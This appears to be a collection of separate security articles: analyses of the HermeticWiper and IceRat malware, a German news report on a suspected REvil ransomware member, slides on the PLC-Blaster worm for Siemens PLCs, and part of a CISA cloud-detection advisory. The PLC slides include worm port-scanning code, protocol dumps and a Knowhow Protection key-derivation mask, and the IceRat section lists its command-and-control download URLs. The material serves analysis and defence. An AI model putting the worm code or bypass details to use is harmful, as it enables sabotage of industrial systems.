researchers will analyze a sample hash of HermeticWiper, to see what lies under the hood. **Sample hash:** `0385EEAB00E946A302B24A91DEA4187C1210597B8E17CD9E2230450F5ECE21DA` The file presents itself as “conhost.exe,” borrowing the filename of the Console Windows Host for Microsoft® Windows®. The executable file uses a standard Visual Studio Project icon and displays the Hermetica certificate. This inclusion of a valid certificate helps the wiper to evade detection on the system by appearing to come from a legitimate and trusted source. A brief look into the file shows there are four drivers packaged inside. These drivers are named DRV_X64, DRV_X86, DRV_XP_X64, and DRV_XP_X86, with each having “SZDD” as the first few bytes of the file. This indicates that the drivers are compressed with the built-in MS-DOS “compress.exe.” Once each driver has been extracted and saved as their own file on the victim’s system, an unzipping program such as 7-Zip can be used to decompress the files and reveal what they really are. An expired certificate for CHENGDU YIWO Tech Development Co. Ltd. can be found in each driver. A quick Internet search links this certificate to a disk recovery software program called EaseUS Data Recovery Wizard. #### Wiper Behavior The files must be launched as Administrator for the wiper to execute. And for the system reboot to be triggered, the first character of the file name must be C. Immediately after launch, a new service with a four-character randomized name starts to run. By using a hex editor like HxD before and after launching, you can reveal the damage that HermeticWiper is causing to the C:\ disk. Before execution, you can see the standard bytes that represent the start of an NTFS formatted drive. After HermeticWiper begins to run, the threat corrupts those bytes. The malicious wiper will continue to change these values as it completes its execution. When HermeticWiper has finished corrupting the C:\ drive, the malware restarts the affected system, which results in the dreaded Blue Screen of Death (BSOD). After attempting to restart again, the victim will be greeted with a new message indicating that their operating system is missing. The C:\ drive is now wiped, and the system is inoperable. ### Load Driver and Wipe Disk Taking a step back, let’s take a look at the EaseUS Data Recovery Wizard. This is loaded by the malware as a compressed driver. The wiper contains four copies of this driver, with each corresponding to different OS versions (Windows XP or Windows 7+) and architectures (32-bit or 64-bit). System information first needs to be loaded by the wiper so it can then choose to start the correct driver version. Once the OS is identified by the malware, the corresponding compressed driver is loaded. - **DRV_X64** – Windows 7+ 64-bit - **DRV_X86** – Windows 7+ 32-bit - **DRV_XP_X64** – Windows XP 64-bit - **DRV_XP_X86** – Windows XP 32-bit HermeticWiper then decompresses the drivers with the LZMA algorithm. It uses “DeviceIoControl” for file operations such as finding the PhysicalDriveID to get information on the victim’s disk partitions. With the drive information loaded, the CryptGenRandom function then begins to overwrite data in the Master File Table fields, $Bitmap and $LogFile files, recursively in the AppData, MyDocuments, Desktop, and Documents and Settings folders, and then the MBR. Once the malware has finished overwriting this data with random bytes, the system will automatically restart. This time, however, it will not boot because almost all the data on disk has been wiped. The victim’s device is now unrecoverable. ### Ransomware Component Decoys and false flags are deployed in many scenarios where the goal is to confuse and misdirect victims, to buy the adversary time to conduct its real mission of destroying and disabling their opponent’s systems and infrastructure. Let’s take a closer look at HermeticWiper’s decoy. **Sample hash:** `4DC13BB83A16D4FF9865A51B3E4D24112327C526C1392E14D56F20D6F4EAF382` There is a ransomware component that, according to AVAST, sometimes comes along with the wiper as a tool of misdirection. Upon launch, the ransomware (written in the programming language “Go”) displays behavior typical of ransomware. The victim device’s CPU utilization jumps to 100% as their files are encrypted. Once files are encrypted, they are renamed with an “.encryptedJB” extension. There is some good news, however. The encryption used by HermeticWiper is not strong, and a free decryptor has already been made available for any files that victims are able to salvage from their machines. ## Conclusion HermeticWiper differentiates itself from other wipers by its creator’s efforts to help it evade detection. This malware was created specifically to destroy the machines of victims. HermeticWiper was initially observed targeting Ukraine, but we are now hearing that it has also spread to organizations in other countries. This sort of spillover was also observed with the NotPetya attack, which affected numerous organizations in countries outside Ukraine. While we’re used to seeing financially motivated malware such as ransomware, wipers that exist solely for the purpose of data destruction have become a convenient tool for nefarious actors when their goal is to cripple individual organizations or even entire industries within a target area. ## YARA Rule The following YARA rule was authored by the BlackBerry Research & Intelligence Team to catch the threat described in this document: ```yara rule HermeticWiper { meta: description = "Detects HermeticWiper" author = "BlackBerry Threat Research Team" date = "2022-03-09" license = "This Yara rule is provided under the Apache License 2.0 and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: $s1 = "\\\\.\\EPMNTDRV\\%u" wide $s2 = "\\\\.\\PhysicalDrive%u" wide $s3 = "SYSTEM\\CurrentControlSet\\Control\\CrashControl" wide $sd1 = "DRV_X64" wide $sd2 = "DRV_X86" wide $sd3 = "DRV_XP_X64" wide $sd4 = "DRV_XP_X86" wide $c = { 0C 48 73 28 73 AC 8C CE BA F8 F0 E1 E8 32 9C EC } $x = { 53 5A 44 44 88 F0 27 33 41 00 48 ?? 00 00 FF 4D 5A 90 00 03 00 00 00 7D 04 F5 F0 FF FF 00 00 B8 F5 F0 ?? 01 01 40 01 04 0F 0D 1C 09 ?? ?? ?? ?? } condition: uint16(0) == 0x5a4d and filesize < 150KB and all of them } ``` ## Indicators of Compromise (IoCs) - `06086C1DA4590DCC7F1E10A6BE3431E1166286A9E7761F2DE9DE79D7FDA9C397` - `3C557727953A8F6B4788984464FB77741B821991ACBF5E746AEBDD02615B1767` - `2C10B2EC0B995B88C27D141D6F7B14D6B8177C52818687E4FF8E6ECF53ADF5BF` - `0385EEAB00E946A302B24A91DEA4187C1210597B8E17CD9E2230450F5ECE21DA` - `1BC44EEF75779E3CA1EEFB8FF5A64807DBC942B1E4A2672D77B9F6928D292591` - `4AA186B5FDCC8248A9672BF21241F77DD395872EC4876C90AF5D27AE565E4CB7` - Resource.zip – contains the wiper - `92B9198B4AED95932DB029236CB8879A01C73494B545BCACB1ED40596D56990C` - **DRV_X64** - Windows 7+ 64-bit - `E5F3EF69A534260E899A36CEC459440DC572388DEFD8F1D98760D31C700F42D5` (Decompressed Hash) - **DRV_X86** - Windows 7+ 32-bit - `B01E0C6AC0B8BCDE145AB7B68CF246DEEA9402FA7EA3AEDE7105F7051FE240C1` (Decompressed Hash) - **DRV_XP_X64** - Windows XP 64-bit - `B6F2E008967C5527337448D768F2332D14B92DE22A1279FD4D91000BB3D4A0FD` (Decompressed Hash) - **DRV_XP_X86** - Windows XP 32-bit - `FD7EACC2F87ACEAC865B0AA97A50503D44B799F27737E009F91F3C281233C17D` (Decompressed Hash) - **Ransom Component** - `4DC13BB83A16D4FF9865A51B3E4D24112327C526C1392E14D56F20D6F4EAF382` ## BlackBerry Assistance If you’re battling this malware or a similar threat, you’ve come to the right place, regardless of your existing BlackBerry relationship. The BlackBerry Incident Response team is made up of world-class consultants dedicated to handling response and containment services for a wide range of incidents, including ransomware and Advanced Persistent Threat (APT) cases. We have a global consulting team standing by to assist you, providing around-the-clock support where required, as well as local assistance.
# Mutmaßlicher Ransomware-Millionär identifiziert In sozialen Netzwerken präsentiert sich Nikolay K. (Name geändert) als Händler von Kryptowährungen. Seine Accounts sind privat, doch sein Motto kann die ganze Welt lesen: "In Crypto we trust". Er vertraut Kryptowährungen wie Bitcoin – das zeigt auch ein Blick auf sein Handgelenk. Seine Uhr hat einen fünfstelligen Kaufpreis und das Bitcoin-Logo strahlt von der Mitte des Ziffernblattes. Das Instagram-Profilbild zeigt K. in einem Luxuswagen, Händchen haltend mit seiner Ehefrau. Die sozialen Netzwerke erlauben tiefe Einblicke in den Lebensstil des Mannes, der in einem Haus mit Pool in der Nähe einer südrussischen Großstadt lebt: Er verbringt Luxusurlaube in Dubai oder auf den Malediven. Eine Yacht, die er charterte, kostet 1.300 Euro – pro Tag. Finanziert wird der luxuriöse Lebensstil mutmaßlich durch Erpressungsgeld – gezahlt von Unternehmen und Behörden, die Opfer von Hackerangriffen geworden sind. Nach Informationen des Bayerischen Rundfunks und Zeit Online haben deutsche Ermittlungsbehörden Nikolay K. seit Monaten im Visier. Ermittler von Bundeskriminalamt (BKA) und LKA Baden-Württemberg halten den Mann für einen der Drahtzieher hinter der berüchtigten Schadsoftware REvil und deren mutmaßlichem Vorgänger Gandcrab. ## US-Finanzministerium: Schaden in Milliardenhöhe Mit sogenannter Ransomware lassen sich binnen Minuten auch große Firmen-Netzwerke verschlüsseln und Unternehmen erpressen. Wie groß das Phänomen mittlerweile ist, zeigt eine Zahl des US-Finanzministeriums: Demnach haben kriminelle Hacker dank Ransomware binnen weniger Jahre mindestens fünf Milliarden Dollar erbeutet. Die Gruppe REvil ist bekannt dafür, fantastisch hohe Forderungen zu stellen, um Daten wieder zu entschlüsseln: 70 Millionen US-Dollar beträgt der bisherige Rekord. REvil ist wie ein Franchise-Unternehmen organisiert: Entwickler lizenzieren die Software und geben sie an sogenannte Affiliates weiter, die eigentlichen Hacker, die in Unternehmensnetze eindringen und Lösegeld erpressen. Die müssen dafür einen Teil des Gewinns abgeben. Welche Rolle Nikolay K. genau gespielt haben soll, ist unklar – aus Ermittlerkreisen ist jedoch zu hören, dass er "zweifelsfrei" der Kerngruppe von REvil angehören soll und damit wohl bei jedem Hackerangriff mitverdiente. ## Ermittler verfolgen Bitcoin-Zahlungen Der Haftbefehl ist nach Informationen von BR und Zeit Online vorbereitet, monatelange Ermittlungsarbeit ist in ihn geflossen. Das LKA Baden-Württemberg kam Nikolay K. über Bitcoin-Zahlungen auf die Spur. Im Frühjahr 2019 erstattete ein Software-Entwickler in der Nähe von Stuttgart Anzeige. Die Hacker waren an die Zugangsdaten eines Mitarbeiters gekommen und konnten so in die Systeme einiger Kunden eindringen. Zu diesen gehörten auch die Staatstheater Stuttgart. Fünf Tage lang war dort der E-Mail-Verkehr lahmgelegt, statt Online-Tickets erhielten Zuschauer mit Kugelschreiber beschriebene Ersatzkarten. Um die Daten zu entschlüsseln, sollen die Staatstheater Medienberichten zufolge 15.000 Euro in einer Digitalwährung gezahlt haben. Beim LKA Baden-Württemberg wurde im Anschluss an diesen Angriff eine Ermittlungsgruppe gegründet. Sie trägt den Namen "Krabbe" – damals waren die Hacker bekannt unter dem Namen Gandcrab. Ermittler und IT-Sicherheitsexperten gehen davon aus, dass hinter REvil und Gandcrab dieselben Kriminellen stecken. ## Gespräche auf höchster politischer Ebene IT-Sicherheitsexperten halten es für naheliegend, dass viele Ransomware-Gruppen in Russland sitzen. Im Juni drohte US-Präsident Joe Biden seinem russischen Amtskollegen Wladimir Putin mit Konsequenzen, sollte dieser nicht gegen jene Hackerbanden vorgehen, die von Russland aus operieren. Auch die Bundesregierung spricht die Frage von Cyberbedrohungen regelmäßig gegenüber der russischen Regierung an, heißt es aus dem Auswärtigen Amt. Doch konkrete Tatverdächtige zu ermitteln, gilt als äußerst schwierig. Genau das haben die deutschen Ermittler im Fall Nikolay K. nun offenbar geschafft. ## Netz-Recherchen erhärten Verdacht Auch Reportern von BR und Zeit Online ist es gelungen, Spuren zu folgen, die Nikolay K. im Netz hinterlassen hat. So finden sich etwa Fotos aus seiner Jugend, noch ohne teure Uhren und Designerkleidung. "Wenn man sich die Klamotten anschaut, dann sieht man allein daran schon seinen Aufstieg", wie es einer der Ermittler kommentiert. Außerdem finden sich Anhaltspunkte, dass K. Geld erhalten hat, das direkt aus Ransomware-Vorfällen stammen soll. Wer etwa seinen Instagram-Nutzernamen in Suchmaschinen eingibt, landet zuerst bei einer E-Mail-Adresse. Mit dieser wurden mehr als 60 Webseiten angemeldet, teilweise mit authentischen Kontaktinformationen, etwa Handynummern. Das geht aus einer Datenbank der IT-Sicherheitsfirma Domaintools hervor. Eine dieser Handynummern ist mit einem Telegram-Account verknüpft, der sich angeblich auf den Handel mit Kryptowährungen spezialisiert hat. Auf eine dort angegebene Bitcoin-Adresse wurden Zahlungen im Wert von knapp 400.000 Euro transferiert. Diese Zahlungen stammen wahrscheinlich aus Ransomware-Vorfällen, wie es ein Experte erklärt, der sich auf das Auswerten von Bitcoin-Zahlungen spezialisiert hat. Ein weiterer geht davon aus, dass K. das Geld von jemandem bekommen hat, der für verschiedene Ransomware-Gruppen arbeitet, möglicherweise ein Affiliate. Zu diesen Gruppen gehört unter anderem REvil. ## LKA äußert sich nicht zu laufenden Ermittlungen Offiziell wollen weder das BKA noch das LKA Baden-Württemberg laufende Ermittlungen kommentieren. Die zuständige Staatsanwaltschaft Stuttgart wollte sich über ein halbes Jahr lang und auf mehrfache telefonische Nachfrage nicht äußern. Nur so viel: Die Ermittlungen dauerten an. Doch manche Ermittler vertreten die Ansicht, dass man deutlicher über diesen Ermittlungserfolg reden müsse: "Wenn wir jemanden hätten, der diese Summen bei einem Bankraub erbeutet, dann gäbe es viel mehr Druck. Aber die Gefahr wird nicht verstanden", sagt einer von ihnen. Außerdem werde durch öffentliche Berichterstattung klar, wie erfolgreich deutsche Behörden arbeiten können. Dass man sowohl über talentiertes Personal verfüge als auch über die technischen Mittel. ## Urlaub in der Türkei Dennoch ist Nikolay K. weiter auf freiem Fuß – denn deutsche Ermittlungsbehörden könnten ihn nur dann festnehmen, wenn er Russland verlässt und in ein Land reist, das nach Deutschland ausliefert. Eine Gelegenheit dafür hätte es nach Recherchen von BR und Zeit Online im vergangenen Jahr gegeben: Mit Freunden und seiner Ehefrau verbrachte der Mann seinen Sommerurlaub an der türkischen Mittelmeerküste. Zu einem Auslieferungsantrag kam es jedoch nicht. Die Gründe sind unklar. Seit durch einen Bericht der Nachrichtenagentur Reuters Mitte Oktober bekannt wurde, dass es internationalen Ermittlern gelungen ist, die Infrastruktur der Hacker zu kapern, dürften diese extrem vorsichtig sein. Ob Nikolay K. Bescheid weiß, dass er seit Monaten im Fokus von Ermittlungen steht, ist offen. Eine Anfrage ließ K. unbeantwortet. Solange er nicht rechtskräftig verurteilt ist, gilt die Unschuldsvermutung. Auf Instagram finden sich jedenfalls auch aus diesem Sommer Urlaubsfotos aus der Türkei. Doch die Ehefrau reiste offenbar alleine – Nikolay K. blieb dieses Mal wohl in Russland.
# IceRat Evades Antivirus by Running PHP on Java VM IceRat keeps low detection rates for weeks by using an unusual language implementation: JPHP. This article explores IceRat and explains a way to analyze JPHP malware. ## Discovery of IceRat User McMcbrad of the Malwaretips.com forums discovered the first IceRat samples. The malware caught his interest due to the low detection rates on VirusTotal for most related samples. At the time of discovery, only 2 to 3 engines showed a detection despite the samples being a month old. Static analysis reveals that most components of IceRat are written in JPHP, a PHP implementation that runs on the Java VM. This implementation uses .phb files instead of Java .class files, a file type that is not commonly supported by antivirus products. So far, no other malware using JPHP has been found, which partially explains the low detection rates on VirusTotal. The name IceRat is based on the module name of an older sample that McMcbrad found. ## Decompiling JPHP There don't seem to be any tools to decompile JPHP code yet. However, JPHP produces Java Bytecode to run in the Java VM, making decompilation to Java code possible. Unpacking the executable with 7zip reveals the following structure. The entry point for the main JPHP code is under `.system\application.conf`. For our `klient.exe` sample, the main code resides in `app\forms\rqfdeqwf.phb`. The .phb files contain the 0xCAFEBABE magic bytes for Java .class files. Removing the first part of the file, excluding the magic bytes, allows decompilation into Java code with tools like Fernflower. The decompiled code is still hard to read. As a first step, I restored the strings, which are in an array called `$MEM`. Replacing the array access `$MEM[X]` with the actual value in the array improves readability. This can be achieved with a Python snippet. As a second step, I replaced methods like `assign` and `concat` with operators using regex and capture groups. The replacement for one operator must be done several times until all nested calls are replaced, preserving the order. ### Find and Replace | Find | Replace | |--------------------------------------------------|------------------------| | OperatorUtils\.concat\(([^,]+),([^\)]+)\) | \1 + \2 | | \.assign\(([^\)]+)\) | = \1 | | Memory\.assignRight\((.+),([^)]+)\); | \2 = \1 | | \.equal\(([^\)]+)\) | == \1 | | \.notEqual\(([^\)]+)\) | != \1 | | \.concat\(([^\)]+)\) | + \1 | | StringMemory\.valueOf\(([^)]+)\) | \1 | | \.toImmutable\(\) | | | StringFunctions\.strtolower\(([^\)]+)\) | \1 | | LongMemory\.valueOf\(([^\)]+)\) | \1 | After the replacements, the resulting code is readable without pain. ## Infection Chain and Components IceRat consists of several small components instead of putting all functionality into one file. As a result, most of these files may not attract attention if their context is missing. For example, a downloader is only malicious if the downloaded file is malware. If information about the downloaded file is missing and cannot be inferred, there is no reason to detect the downloader as malware. The chain of infection starts with a downloader in a trojanized dropper. The first part of the chain is `Browes.exe`, which may have been distributed as a trojanized software download for CryptoTab. `Browes.exe` is a self-extracting WinRAR archive that drops and executes the Windows Cabinet file `1.exe`. The Windows Cabinet file is also a dropper for two more files: a non-malicious setup for CryptoTab software and a malware downloader named `cheats.exe`. CryptoTab is a browser with mining features, but its installation is not silent. The affected user will see the browser setup window, which is why CryptoTab is provided as a lure. To summarize, the infection chain starts with a downloader in a trojanized dropper. The JPHP file `cheats.exe` accesses IceRat's main server to download the backdoor `klient.exe`. It chooses randomly one of the following names from a list: - System - Jawas - WindowsShell - exploler - antiDrw - antiSsl - ADB - Microsoft - system Then it will write the file into the following locations: - `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\.<name>.exe` - `c:\Windows\Temp\.<name>.exe` - `d:\Windows\Temp\<name>.exe` This file, `klient.exe`, is the main component that will be controlled by the server. ## Command and Control Although the name IceRat indicates a remote access trojan, the current malware is better described as a backdoor. Features for actual remote control, such as moving the mouse or typing on the keyboard, are missing. The command and control happens by periodically checking the contents of certain files on the malware server. For example, `klient.exe` will check the content of the file `hxxp://malina1306.zzz.com.ua/dow_stil.txt`. If that file contains a line that matches the string `<MAC>:<OS>:<RAM>:<processor>:<username>` for the infected system, `klient.exe` will download the stealer from `hxxp://malina1306.zzz.com.ua/stel.exe` and save it to `c:\Windows\Temp\.Browser.exe`. Similarly, a coinminer downloader will be obtained if `hxxp://malina1306.zzz.com.ua/dow_klip.txt` has a corresponding line for the infected system. It will be downloaded from `hxxp://malina1306.zzz.com.ua/klip.exe` to `c:\Windows\Temp\.Chrome.exe`. The file `1.exe` is downloaded from `hxxp://malina1306.zzz.com.ua/1.exe` or `hxxp://bests.zzz.com.ua/1.exe` and saved under a randomly generated name by creating a random number between 10000 and 1000000. The resulting file location is `c:\Windows\Temp\.<10000-1000000>.exe`. This component communicates via Telegram to the malware operator. Two more files are referenced in `klient.exe` but don't exist anymore: `hxxp://malina1306.zzz.com.ua/min.exe` would be downloaded to `c:\Windows\Temp\.Jawaw Se binar.exe`, and `hxxp://malina1306.zzz.com.ua/klog.exe` would be downloaded to `c:\Windows\Temp\.Windows Push.exe`. Based on the filenames, one would assume that `min.exe` should be the coinminer, whereas `klip.exe` sounds like a clipbanker. However, that was not provided by the server. `klog.exe` might have been a keylogger. ## Stealer and Coinminer Unlike other IceRat components, the stealer is written in Python 3 and was compiled with PyInstaller to an EXE file. It steals credentials from the following browsers: - Firefox - Yandex - Filezilla - Chrome - Amigo - kometa - Orbitum - Chromium - K-Melon The coinminer downloader obtains the configuration file `MMMMMM.MMMM`, the driver `WinRing0x64.sys` by OpenLibSys.org, as well as the coinminer `Winlogin.exe` from `hxxp://malina1306.zzz.com.ua/p/`. The configuration shows the user `[email protected]`. At the time of writing this article, the stealer and the coinminer are well-detected with more than 40 detections on VirusTotal. This is a remarkable contrast to the low detection rates of the JPHP components. ## Hosting Domain The malware host and CnC server `hxxp://malina1306.zzz.com.ua` also provides a Russian website with two buttons and a text field. The field seems to require a username because the text is translated to "Enter User". The buttons say "Download miner (v1)" and "Download miner (v2)". ## Severity and Targeted Regions IceRat has gone unnoticed for longer than usual. This is mainly due to the choice of using JPHP and the fragmentation of the malware's features into many small files. "Small" refers to the amount of features they have or the capability of the code. If one file does only little on its own, it won't show malicious behavior to an automated analysis system, allowing it to stay undetected. The log files used to communicate with the server contain more than 200 entries with different systems. Many usernames of the infected systems are Cyrillic, indicating that mostly East European and Russian regions are affected. Antivirus engines may need to upgrade their engines to support .phb files and take a holistic approach for automated analysis systems to detect fragmented malware. ## Indicators of Compromise | Description | Filename | SHA256 | |--------------------|--------------------------|-------------------------------------------------------------------------| | PE SFX | Browes.exe | 6a7cc0ab2cfaa9457f47d5e21ef41e56800b37d7e5bfe69b296545bff95fdf96 | | Windows | 1.exe | 592c60435099477a2656784f28dd31523a91ebf9dd348827d9120a4b411ab6c9 | | CryptoTab | BrowserSetup.exe | 3c63d911e4f911f2ba6f411e93ba850091aac9c6c4c962eee914358ac1ac8e0c | | Backdoor | cheats.exe | 0161540edfceb643389a28ebe7d1092639596325e8f40defe52192ab999d3d36 | | IceRat | klient.exe | cebee34d5f0292befca058537bf2320dd1492afa26fb9af471155c9332046320 | | Stealer | stel.exe | fdff65ae03fab7bfd6f943833bf7aa16f6ada9219786995df9ef7127ab9aa93d | | Coinminer | klip.exe | 06a10cf99cc7c2d2ebc3e41300404e8f5816eb31a869d22835ade3a381199c0b | | Miner | MMMMMM.MMMM | c0a3b67b4056aeefd086edbe0c6ccb5fa7835505ef4ebe6220e5f914012e9e32 | | Coinminer | Winlogin.exe | e656c75017a557ad342dfa95d76e1b36b54a004825615f721a5dd51431899e90 | | | WinRing.sys | 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5 | | IceRat | IceRat.exe | 29c63169ffc5dfacef9245c0f3afae987525f9b164a17133e51f598d3b75120d | | Telegram | 1.exe | 8a3dd23d0d47114c06ace407b93a3403e33b8cb2e243a548f4c7158b4d340165 | Karsten Hahn Malware Analyst
# PLC-Blaster ## A Worm Living Solely in the PLC ### S7-1211 - Built for small applications - 50kb RAM - 1MB persistent memory - Built-in Ethernet - V3.0 & TIAv11 ### How PLCs Work #### Program Organization Blocks - OB (Organization Block): Entry point - FB (Function Block): Class with one method - SFB (System Function Block): Library - FC (Function): Function - SFC (System Function): Library - DB (Data Block): Global memory ### Programming Languages - Ladder Diagram - Sequential Function Chart - Function Block Diagram - Structured Text - Instruction List ### Worm - Target discovery - Carrier - Activation - Payloads ### Target Discovery I - TCP port 102 is open on all S7-PLCs - Implement a port scanner - TCON: Open a new TCP connection - TDISCON: Close a TCP connection ### Target Discovery II ```plaintext IF "data".con_state = 10 THEN "TCON_DB"(REQ:="data".action, ID:=1, DONE=>"data".con_done, BUSY=>"data".con_busy, ERROR=>"data".con_error, STATUS=>"data".con_status, CONNECT:="data".con_param); IF "data".con_done = True THEN "data".con_state := 20; "data".con_timeout_counter := 0; ELSE "data".con_timeout_counter := "data".con_timeout_counter + 1; IF "data".con_timeout_counter > 200 THEN "data".con_state := 0; END_IF; END_IF; GOTO CYCLE_END; END_IF; ``` ### Target Discovery III ```plaintext IF "data".con_state = 0 THEN "TDISCON_DB"(REQ:="data".action, ID:=1, DONE=>"data".con_done, BUSY=>"data".con_busy, ERROR=>"data".con_error, STATUS=>"data".con_status); IF "data".con_error = True OR "data".con_done = True THEN "data".con_param.REM_STADDR[4] := ("data".con_param.REM_STADDR[4] + 1) MOD 255; "data".con_timeout_counter := 0; "data".con_state := 10; END_IF; GOTO CYCLE_END; END_IF; ``` ### Worm - Target discovery - Port scanner (TCP 102); TCON, DISCON - Carrier - Activation - Payloads ### Carrier - Program transfer via TCP to the PLC - Implement the transfer protocol - TSEND, TRCV ### Protocol Analysis I - S7CommPlus - Binary - Proprietary - Huge differences compared to the old S7-300/400 protocol - Modified in S7-1200v4 and S7-1500 - Transfer of programs - Start/Stop CPU - Read/Write process variables ### Protocol Analysis II Message 1: Connection setup ```plaintext Magic Len Reserved TPKT ISO8073 Version Type Sub-Type 00000023 03 00 00 df 02 f0 80 72 01 00 d0 31 00 00 04 ca .......r...1.... 00000033 00 00 00 02 00 00 01 20 36 00 00 01 1d 00 04 00 .... 6.......Seq no. 00000043 00 00 00 00 a1 00 00 00 d3 82 1f 00 00 a3 81 69 ...............i 00000053 00 15 16 53 65 72 76 65 72 53 65 73 73 69 6f 6e ...ServerSession 00000063 5f 33 33 32 33 34 41 37 A3 82 21 00 15 2c 31 _33234A7A..!,1 00000073 3a 3a 3a 36 2e 30 3a 3a TC P/IP - Intel(R) PRO/1 ``` ### Transfer a Program Message: Download block ```plaintext 00000901 03 00 04 00 02 f0 00 72 02 05 a9 31 00 00 04 ca .......r...1.... 00000911 00 00 00 1d 00 00 03 a2 34 00 00 00 03 00 04 00 .... 4....... 00000921 00 00 00 00 a1 8a 32 00 01 94 57 20 00 a3 81 69 ......2..W...i ``` ### Transfer a Program - Transfer Attributes: - Some are used by the PLC - Some are used by TIA in case of program retrieval - Last Modified (0x9315) - Body Description (0x9365) - Load Memory Size (0x9316) - Binding (0x984f) - IdentES (0x9311) - Optimize Info (0x9369) - Working Memory Size (0x9313) - TOblock Set Number (0x9c23) - Comment (0xa140) - Type Info (0xa362) - Interface Modified (0x936f) - Code (0x9414) - Parameter Modified (0x9415) - Interface Description (0x9370) - Network Comments (0x9418) - Line Comments (0x9372) - Network Titles (0x9419) - Block Number (0x9359) - Block Language (0x935b) - Interface Signature (0x941b) - Knowhow Protected (0x935c) - Debug Info (0x941d) - Local Error Handling (0x941e) - Unlinked (0x935f) - Long Constants (0x941f) - int Ref Data (0x9417) ### Fun with Attribute Blocks I - Data redundancy creates attack surface ### Fun with Attribute Blocks II - The code is transferred in two variants - Source code in XML - Byte code executed by the PLC ### Implement the Worm - Implement the worm using TIA: - Connection setup - Anti-replay protection - Create empty data blocks for messages - Transfer the worm to the PLC with TIA and capture pcaps - Retrieve the messages from the pcaps - Store the messages in the empty DBs - Inject the worm with your own tool ### Activation - OB (Organization Block): int main() - Additional OBs are supported - OBs are executed sequentially - Original user program is untouched ### Payloads - DoS - Arbitrary manipulation of outputs - TCP Functions - C&C Server - Proxy ### Impact on the PLC I - Program execution is stopped - Approximately 10s - Generates a log entry in the PLC - Possible worm improvements: patch existing OB1 - Worm is more complex ### Impact on the PLC II - Memory usage - 38.5kb RAM - 216.6kb persistent memory | Model | RAM | Persistent Memory | |------------|--------------|-------------------| | S7-1211 | 50kb (77%) | 1Mb (21%) | | S7-1212 | 75kb (51%) | 1MB (5%) | | S7-1214 | 100kb (38%) | 4MB (5%) | | S7-1215 | 125kb (30%) | 4MB (5%) | | S7-1217 | 150kb (25%) | 4MB (5%) | ### Persistence & Identification - Remove the worm: - Factory Reset of the PLC - Override worm OB - The TIA-Portal recognizes the worm ### Protection - S7-1200 provides 3 protection mechanisms: - Knowhow Protection - Copy Protection - Access Protection ### Knowhow Protection - Prevents unauthorized reading or modification of the code - Password protection - Source-Code is AES encrypted ### Knowhow Protection II - How to disable the Knowhow Protection? - Set enable flag to: 0x00, 0x00 - Problem: source-code is still AES encrypted ### Knowhow Protection III - Key derived from the hash: - K = truncate128Bit(SHA-1 HASH) XOR M - M = 0x28, 0x6f, 0x76, 0x5c, 0x6e, 0x3b, 0x1e, 0x4c, 0xd0, 0x8e, 0x42, 0x31, 0x43, 0x7b, 0x8e, 0xbf ### Copy Protection - Restricts the program for use only with a specific PLC - Change of serial number possible - Attribute Block not evaluated by the PLC (client-side protection) - Ineffective ### Access Protection - Limits S7CommPlus features - By Password - Start/Stop CPU - Transfer Program to PLC - Retrieve Program from PLC - Edit Output/Input/Memory - Read Identification - Assign IP-Address - Set time of day - Reset ### Improvements & Recommendations - Vendor - Access protection enabled by default - Integrity protection using checksums - Disable connections via TCON to port 102 - User - Enable the access protection - Firewall restrictions (PLC opens the connection) ### Further Research - Analysis of more PLC vendors and models - Infection via fieldbus protocols
# Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments ## Summary This Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. The U.S. Government attributes this activity to the Russian Foreign Intelligence Service (SVR). This Alert is a companion alert to AA20-352A: Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. CISA has seen an APT actor using compromised applications in a victim’s Microsoft 365 (M365)/Azure environment, utilizing additional credentials and Application Programming Interface (API) access to cloud resources. These tactics, techniques, and procedures (TTPs) feature three key components: - Compromising or bypassing federated identity solutions. - Using forged authentication tokens to move laterally to Microsoft cloud environments. - Using privileged access to a victim’s cloud environment to establish difficult-to-detect persistence mechanisms for API-based access. This Alert describes these TTPs and offers guidance on available open-source tools—including a CISA-developed tool, Sparrow—for network defenders to analyze their Microsoft Azure Active Directory (AD), Office 365 (O365), and M365 environments to detect potentially malicious activity. ## Technical Details CISA has observed the APT actor gaining Initial Access to victims’ enterprise networks via compromised SolarWinds Orion products. However, CISA is investigating instances where the threat actor may have obtained initial access by Password Guessing, Password Spraying, and/or exploiting unsecured administrative or service credentials. CISA observed this threat actor moving from user context to administrator rights for Privilege Escalation within a compromised network and using native Windows tools and techniques to enumerate the Microsoft Active Directory Federated Services (ADFS) certificate-signing capability. This enumeration allows threat actors to forge authentication tokens (OAuth) to issue claims to service providers without having those claims checked against the identity provider. The threat actor has also used on-premises access to manipulate and bypass identity controls and multi-factor authentication. This activity demonstrates how sophisticated adversaries can use credentials from one portion of an organization to move laterally through trust boundaries, evade defenses and detection, and steal sensitive data. ## Mitigations ### Detection Guidance on identifying affected SolarWinds software is well documented. However, identifying follow-on activity for on-premises networks requires fine-tuned network and host-based forensics. The nature of cloud forensics is unique due to the rapidly evolving technology footprints of major vendors. Microsoft's O365 and M365 environments have built-in capabilities for detecting unusual activity. ### Detection Tools CISA provides examples of detection tools for informational purposes only. There are a number of open-source tools available to investigate adversary activity in Microsoft cloud environments. Publicly available PowerShell tools include: - CISA's Sparrow - Open-source utility Hawk - CrowdStrike's Azure Reporting Tool (CRT) ### General Guidance on Using Detection Tools 1. Audit the creation and use of service principal credentials. Look for unusual application usage. 2. Audit the assignment of credentials to applications that allow non-interactive sign-in. 3. Download the interactive sign-ins from the Azure admin portal or use the Microsoft Sentinel product. Review new token validation time periods with high values. ### Sparrow CISA created Sparrow to help network defenders detect possible compromised accounts and applications in the Azure/M365 environment. It focuses on user and application activity endemic to identity- and authentication-based attacks. CISA advises network defenders to perform the following actions to use Sparrow: 1. Use Sparrow to detect any recent domain authentication or federation modifications. 2. Examine logs for new and modified credentials applied to applications and service principals. 3. Use Sparrow to detect privilege escalation, such as adding a service principal, user, or group to a privileged role. 4. Use Sparrow to detect OAuth consent and users’ consent to applications. 5. Use Sparrow to identify anomalous Security Assertion Markup Language (SAML) token sign-ins. 6. Review the PowerShell logs that Sparrow exports. 7. Use Sparrow to check the 